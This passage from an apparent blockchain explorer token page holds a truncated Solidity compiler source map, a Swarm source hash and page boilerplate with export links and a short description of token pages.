;;;;;;;;;;;16370:143;;;;;;;;;;-1:-1:-1;16370:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16478:18:0;;;16451:7;16478:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16370:143;13751:32;;;;;;;;;;;;;;;;3523:244;;;;;;;;;;-1:-1:-1;3523:244:0;;;;;:::i;:::-;;:::i;12370:29::-;;;;;;;;;;;;;;;;13355:35;;;;;;;;;;-1:-1:-1;13355:35:0;;;;-1:-1:-1;;;13355:35:0;;;;;;11925:92;;;;;;;;;;-1:-1:-1;11925:92:0;;;;-1:-1:-1;;;;;11925:92:0;;;15858:83;15895:13;15928:5;15921:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15858:83;:::o;17024:161::-;17099:4;17116:39;366:10;17139:7;17148:6;17116:8;:39::i;:::-;-1:-1:-1;17173:4:0;17024:161;;;;;:::o;18119:313::-;18217:4;18234:36;18244:6;18252:9;18263:6;18234:9;:36::i;:::-;-1:-1:-1;18281:121:0;18290:6;366:10;18312:89;18350:6;18312:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18312:19:0;;;;;;:11;:19;;;;;;;;366:10;18312:33;;;;;;;;;;:37;:89::i;:::-;18281:8;:121::i;:::-;-1:-1:-1;18420:4:0;18119:313;;;;;;:::o;17542:156::-;-1:-1:-1;;;;;17677:11:0;16336:18;17595:7;16336:18;;;:9;:18;;;;;;17622:68;;:40;17639:22;17649:11;-1:-1:-1;;;;;16336:18:0;16309:7;16336:18;;;:9;:18;;;;;;;16243:119;17639:22;17622:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;17615:75;;17542:156;:::o;16521:218::-;366:10;16609:4;16658:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16658:34:0;;;;;;;;;;16609:4;;16626:83;;16649:7;;16658:50;;16697:10;16658:38;:50::i;3285:230::-;3194:6;;-1:-1:-1;;;;;3194:6:0;366:10;3194:22;3186:67;;;;-1:-1:-1;;;3186:67:0;;4131:2:1;3186:67:0;;;4113:21:1;;;4150:18;;;4143:30;4209:34;4189:18;;;4182:62;4261:18;;3186:67:0;;;;;;;;;3376:6:::1;::::0;;3355:81:::1;::::0;3392:42:::1;::::0;-1:-1:-1;;;;;3376:6:0;;::::1;::::0;3355:81:::1;::::0;::::1;3447:6;:60:::0;;-1:-1:-1;;;;;;3447:60:0::1;3464:42;3447:60;::::0;;3285:230::o;12469:122::-;;;;;;;;;;;;;;-1:-1:-1;;;;;12469:122:0;;-1:-1:-1;12469:122:0;:::o;12406:56::-;;;;;;;;;;;;;;;-1:-1:-1;12406:56:0;:::o;15949:87::-;15988:13;16021:7;16014:14;;;;;:::i;16747:269::-;16840:4;16857:129;366:10;16880:7;16889:96;16928:15;16889:96;;;;;;;;;;;;;;;;;366:10;16889:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16889:34:0;;;;;;;;;;;;:38;:96::i;17944:167::-;18022:4;18039:42;366:10;18063:9;18074:6;18039:9;:42::i;3523:244::-;3194:6;;-1:-1:-1;;;;;3194:6:0;366:10;3194:22;3186:67;;;;-1:-1:-1;;;3186:67:0;;4131:2:1;3186:67:0;;;4113:21:1;;;4150:18;;;4143:30;4209:34;4189:18;;;4182:62;4261:18;;3186:67:0;3929:356:1;3186:67:0;-1:-1:-1;;;;;3612:22:0;::::1;3604:73;;;::::0;-1:-1:-1;;;3604:73:0;;4492:2:1;3604:73:0::1;::::0;::::1;4474:21:1::0;4531:2;4511:18;;;4504:30;4570:34;4550:18;;;4543:62;-1:-1:-1;;;4621:18:1;;;4614:36;4667:19;;3604:73:0::1;4290:402:1::0;3604:73:0::1;3714:6;::::0;;3693:38:::1;::::0;-1:-1:-1;;;;;3693:38:0;;::::1;::::0;3714:6;::::1;::::0;3693:38:::1;::::0;::::1;3742:6;:17:::0;;-1:-1:-1;;;;;;3742:17:0::1;-1:-1:-1::0;;;;;3742:17:0;;;::::1;::::0;;;::::1;::::0;;3523:244::o;17193:337::-;-1:-1:-1;;;;;17286:19:0;;17278:68;;;;-1:-1:-1;;;17278:68:0;;4899:2:1;17278:68:0;;;4881:21:1;4938:2;4918:18;;;4911:30;4977:34;4957:18;;;4950:62;-1:-1:-1;;;5028:18:1;;;5021:34;5072:19;;17278:68:0;4697:400:1;17278:68:0;-1:-1:-1;;;;;17365:21:0;;17357:68;;;;-1:-1:-1;;;17357:68:0;;5304:2:1;17357:68:0;;;5286:21:1;5343:2;5323:18;;;5316:30;5382:34;5362:18;;;5355:62;-1:-1:-1;;;5433:18:1;;;5426:32;5475:19;;17357:68:0;5102:398:1;17357:68:0;-1:-1:-1;;;;;17438:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17490:32;;1804:25:1;;;17490:32:0;;1777:18:1;17490:32:0;;;;;;;17193:337;;;:::o;18440:2315::-;18527:4;-1:-1:-1;;;;;18554:20:0;;18546:70;;;;-1:-1:-1;;;18546:70:0;;5707:2:1;18546:70:0;;;5689:21:1;5746:2;5726:18;;;5719:30;5785:34;5765:18;;;5758:62;-1:-1:-1;;;5836:18:1;;;5829:35;5881:19;;18546:70:0;5505:401:1;18546:70:0;-1:-1:-1;;;;;18635:23:0;;18627:71;;;;-1:-1:-1;;;18627:71:0;;6113:2:1;18627:71:0;;;6095:21:1;6152:2;6132:18;;;6125:30;6191:34;6171:18;;;6164:62;-1:-1:-1;;;6242:18:1;;;6235:33;6285:19;;18627:71:0;5911:399:1;18627:71:0;18721:16;;-1:-1:-1;;;18721:16:0;;;;18718:2020;;;18771:41;18786:6;18794:9;18805:6;18771:14;:41::i;:::-;18764:48;;;;18718:2020;-1:-1:-1;;;;;18870:23:0;;;;;;:15;:23;;;;;;;;18869:24;:55;;;;-1:-1:-1;;;;;;18898:26:0;;;;;;:15;:26;;;;;;;;18897:27;18869:55;18866:171;;;18964:12;;18954:6;:22;;18946:75;;;;-1:-1:-1;;;18946:75:0;;6517:2:1;18946:75:0;;;6499:21:1;6556:2;6536:18;;;6529:30;6595:34;6575:18;;;6568:62;-1:-1:-1;;;6646:18:1;;;6639:38;6694:19;;18946:75:0;6315:404:1;18946:75:0;19102:4;19053:28;16336:18;;;:9;:18;;;;;;19178:23;;19154:47;;;;;;;19234:44;;-1:-1:-1;19262:16:0;;-1:-1:-1;;;19262:16:0;;;;19261:17;19234:44;:69;;;;-1:-1:-1;;;;;;19283:20:0;;;;;;:12;:20;;;;;;;;19282:21;19234:69;:94;;;;-1:-1:-1;19307:21:0;;-1:-1:-1;;;19307:21:0;;;;19234:94;19230:305;;;19366:25;;-1:-1:-1;;;19366:25:0;;;;19363:97;;;19437:23;;19414:46;;19363:97;19479:36;19494:20;19479:14;:36::i;:::-;19554:16;;-1:-1:-1;;;19554:16:0;;;;:51;;;;-1:-1:-1;;;;;;19575:30:0;;;;;;:19;:30;;;;;;;;19574:31;19554:51;19551:220;;;19704:10;;19634:66;19659:40;19694:4;19659:30;19670:18;;19659:6;:10;;:30;;;;:::i;:::-;:34;;:40::i;:::-;-1:-1:-1;;;;;16336:18:0;;16309:7;16336:18;;;:9;:18;;;;;;19634:24;;:66::i;:::-;:80;;19626:129;;;;-1:-1:-1;;;19626:129:0;;6926:2:1;19626:129:0;;;6908:21:1;6965:2;6945:18;;;6938:30;7004:34;6984:18;;;6977:62;-1:-1:-1;;;7055:18:1;;;7048:35;7100:19;;19626:129:0;6724:401:1;19626:129:0;19807:40;19842:4;19807:30;19818:18;;19807:6;:10;;:30;;;;:::i;:40::-;19787:16;:60;19902:18;;19891:40;;19926:4;;19891:30;;:6;;:10;:30::i;:40::-;19882:49;;:6;:49;:::i;:::-;19862:19;:69;19946:14;:31;;19972:4;-1:-1:-1;;;;;;19946:31:0;;;;;;;19992:17;:27;;;;;-1:-1:-1;;;;;19992:27:0;;;;;-1:-1:-1;;20072:122:0;20092:23;20088:1;:27;20072:122;;;20157:16;20174:1;20157:19;;;;;;;:::i;:::-;;;20143:33;;;;:::i;:::-;;-1:-1:-1;20117:3:0;;20072:122;;;-1:-1:-1;;;;;;20218:23:0;;;;;;:15;:23;;;;;;;;20217:24;;:56;;-1:-1:-1;;;;;;20247:26:0;;;;;;:15;:26;;;;;;;;20246:27;20217:56;:82;;;-1:-1:-1;;;;;;20276:23:0;;;;;;:12;:23;;;;;;;;20217:82;:106;;;-1:-1:-1;;;;;;20303:20:0;;;;;;:12;:20;;;;;;;;20217:106;20212:154;;;20342:1;20327:13;;:16;;;;;;;:::i;:::-;;;;-1:-1:-1;20212:154:0;;-1:-1:-1;20212:154:0;;20350:14;:12;:14::i;:::-;-1:-1:-1;;;;;20402:17:0;;;;;;:9;:17;;;;;;:33;;20424:10;20402:21;:33::i;:::-;-1:-1:-1;;;;;20382:17:0;;;;;;:9;:17;;;;;:53;;;;20452:247;20472:21;20468:1;:25;20452:247;;;20550:53;20583:16;20600:1;20583:19;;;;;;;:::i;:::-;;;20550:9;:28;20560:14;20575:1;20560:17;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;20560:17:0;20550:28;;;;;;;;;;;20560:17;20550:28;;;:32;:53::i;:::-;20519:9;:28;20529:14;20544:1;20529:17;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;20529:17:0;20519:28;;;;;;;;;;;20529:17;20519:28;:84;20644:14;20659:1;20644:17;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;20644:17:0;;;;20627:56;;;20663:16;20680:1;20663:19;;;;;;;:::i;:::-;;;20627:56;;1804:25:1;;;1792:2;1777:18;20627:56:0;;;;;;;20495:3;;20452:247;;;;20722:4;20715:11;;;;;;;1545:192;1631:7;1667:12;1659:6;;;;1651:29;;;;-1:-1:-1;;;1651:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1691:9:0;1703:5;1707:1;1703;:5;:::i;:::-;1691:17;1545:192;-1:-1:-1;;;;;1545:192:0:o;1401:136::-;1459:7;1486:43;1490:1;1493;1486:43;;;;;;;;;;;;;;;;;:3;:43::i;1212:181::-;1270:7;;1302:5;1306:1;1302;:5;:::i;:::-;1290:17;;1331:1;1326;:6;;1318:46;;;;-1:-1:-1;;;1318:46:0;;7859:2:1;1318:46:0;;;7841:21:1;7898:2;7878:18;;;7871:30;7937:29;7917:18;;;7910:57;7984:18;;1318:46:0;7657:351:1;20872:330:0;21002:53;;;;;;;;;;;-1:-1:-1;;;21002:53:0;;;;;;;;-1:-1:-1;;;;;21002:17:0;;20965:4;21002:17;;;:9;:17;;;;;;;:53;;21024:6;;21002:21;:53::i;:::-;-1:-1:-1;;;;;20982:17:0;;;;;;;:9;:17;;;;;;:73;;;;21089:20;;;;;;;:32;;21114:6;21089:24;:32::i;:::-;-1:-1:-1;;;;;21066:20:0;;;;;;;:9;:20;;;;;;;:55;;;;21137:35;;;;;;;;;;21165:6;1804:25:1;;1792:2;1777:18;;1658:177;21137:35:0;;;;;;;;-1:-1:-1;21190:4:0;20872:330;;;;;:::o;21210:291::-;14248:16;:23;;-1:-1:-1;;;;14248:23:0;-1:-1:-1;;;14248:23:0;;;21282:25:::1;21299:7:::0;21282:16:::1;:25::i;:::-;21345:21;21389:19:::0;;21386:101:::1;;21433:15;::::0;21425:50:::1;::::0;21433:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;21433:15:0::1;::::0;21425:50:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;21433:15;21425:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21386:101;-1:-1:-1::0;;14294:16:0;:24;;-1:-1:-1;;;;14294:24:0;;;21210:291::o;1745:250::-;1803:7;1827:1;1832;1827:6;1823:47;;-1:-1:-1;1857:1:0;1850:8;;1823:47;1882:9;1894:5;1898:1;1894;:5;:::i;:::-;1882:17;-1:-1:-1;1927:1:0;1918:5;1922:1;1882:17;1918:5;:::i;:::-;:10;1910:56;;;;-1:-1:-1;;;1910:56:0;;8610:2:1;1910:56:0;;;8592:21:1;8649:2;8629:18;;;8622:30;8688:34;8668:18;;;8661:62;-1:-1:-1;;;8739:18:1;;;8732:31;8780:19;;1910:56:0;8408:397:1;2003:132:0;2061:7;2088:39;2092:1;2095;2088:39;;;;;;;;;;;;;;;;;:3;:39::i;20765:101::-;20825:29;20804:16;20821:1;20804:19;;:50;;;;;;;:::i;:::-;;;;-1:-1:-1;;20765:101:0:o;21513:666::-;21663:16;;;21677:1;21663:16;;;;;;;;21639:21;;21663:16;;;;;;;;;;-1:-1:-1;21663:16:0;21639:40;;21708:4;21690;21695:1;21690:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21690:23:0;;;:7;;;;;;;;;;:23;;;;21734:15;;:22;;;-1:-1:-1;;;21734:22:0;;;;:15;;;;;:20;;:22;;;;;21690:7;;21734:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21724:4;21729:1;21724:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21724:32:0;;;:7;;;;;;;;;:32;21801:15;;21769:62;;21786:4;;21801:15;21819:11;21769:8;:62::i;:::-;21870:15;;:240;;-1:-1:-1;;;21870:240:0;;-1:-1:-1;;;;;21870:15:0;;;;:66;;:240;;21951:11;;21870:15;;22021:4;;22048;;22084:15;;21870:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22136:35;22153:11;22166:4;22136:35;;;;;;;:::i;:::-;;;;;;;;21568:611;21513:666;:::o;2143:278::-;2229:7;2264:12;2257:5;2249:28;;;;-1:-1:-1;;;2249:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2288:9:0;2300:5;2304:1;2300;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1840:456::-;1917:6;1925;1933;1986:2;1974:9;1965:7;1961:23;1957:32;1954:52;;;2002:1;1999;1992:12;1954:52;2041:9;2028:23;2060:31;2085:5;2060:31;:::i;:::-;2110:5;-1:-1:-1;2167:2:1;2152:18;;2139:32;2180:33;2139:32;2180:33;:::i;:::-;1840:456;;2232:7;;-1:-1:-1;;;2286:2:1;2271:18;;;;2258:32;;1840:456::o;2490:247::-;2549:6;2602:2;2590:9;2581:7;2577:23;2573:32;2570:52;;;2618:1;2615;2608:12;2570:52;2657:9;2644:23;2676:31;2701:5;2676:31;:::i;2966:180::-;3025:6;3078:2;3066:9;3057:7;3053:23;3049:32;3046:52;;;3094:1;3091;3084:12;3046:52;-1:-1:-1;3117:23:1;;2966:180;-1:-1:-1;2966:180:1:o;3151:388::-;3219:6;3227;3280:2;3268:9;3259:7;3255:23;3251:32;3248:52;;;3296:1;3293;3286:12;3248:52;3335:9;3322:23;3354:31;3379:5;3354:31;:::i;:::-;3404:5;-1:-1:-1;3461:2:1;3446:18;;3433:32;3474:33;3433:32;3474:33;:::i;:::-;3526:7;3516:17;;;3151:388;;;;;:::o;3544:380::-;3623:1;3619:12;;;;3666;;;3687:61;;3741:4;3733:6;3729:17;3719:27;;3687:61;3794:2;3786:6;3783:14;3763:18;3760:38;3757:161;;3840:10;3835:3;3831:20;3828:1;3821:31;3875:4;3872:1;3865:15;3903:4;3900:1;3893:15;3757:161;;3544:380;;;:::o;7130:127::-;7191:10;7186:3;7182:20;7179:1;7172:31;7222:4;7219:1;7212:15;7246:4;7243:1;7236:15;7262:127;7323:10;7318:3;7314:20;7311:1;7304:31;7354:4;7351:1;7344:15;7378:4;7375:1;7368:15;7394:128;7461:9;;;7482:11;;;7479:37;;;7496:18;;:::i;7527:125::-;7592:9;;;7613:10;;;7610:36;;;7626:18;;:::i;8013:168::-;8086:9;;;8117;;8134:15;;;8128:22;;8114:37;8104:71;;8155:18;;:::i;8186:217::-;8226:1;8252;8242:132;;8296:10;8291:3;8287:20;8284:1;8277:31;8331:4;8328:1;8321:15;8359:4;8356:1;8349:15;8242:132;-1:-1:-1;8388:9:1;;8186:217::o;8942:251::-;9012:6;9065:2;9053:9;9044:7;9040:23;9036:32;9033:52;;;9081:1;9078;9071:12;9033:52;9113:9;9107:16;9132:31;9157:5;9132:31;:::i;9198:465::-;9251:3;9289:5;9283:12;9316:6;9311:3;9304:19;9342:4;9371;9366:3;9362:14;9355:21;;9410:4;9403:5;9399:16;9433:1;9443:195;9457:6;9454:1;9451:13;9443:195;;;9522:13;;-1:-1:-1;;;;;9518:39:1;9506:52;;9578:12;;;;9613:15;;;;9554:1;9472:9;9443:195;;;-1:-1:-1;9654:3:1;;9198:465;-1:-1:-1;;;;;9198:465:1:o;9668:582::-;9967:6;9956:9;9949:25;10010:6;10005:2;9994:9;9990:18;9983:34;10053:3;10048:2;10037:9;10033:18;10026:31;9930:4;10074:57;10126:3;10115:9;10111:19;10103:6;10074:57;:::i;:::-;-1:-1:-1;;;;;10167:32:1;;;;10162:2;10147:18;;10140:60;-1:-1:-1;10231:3:1;10216:19;10209:35;10066:65;9668:582;-1:-1:-1;;;9668:582:1:o;10255:332::-;10462:6;10451:9;10444:25;10505:2;10500;10489:9;10485:18;10478:30;10425:4;10525:56;10577:2;10566:9;10562:18;10554:6;10525:56;:::i;:::-;10517:64;10255:332;-1:-1:-1;;;;10255:332:1:o

Swarm Source

ipfs://fbf3e4fab5161b1811cdf68b4fcf4b92641c9a5a30c1ee04a91f067fb4aa7a19
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.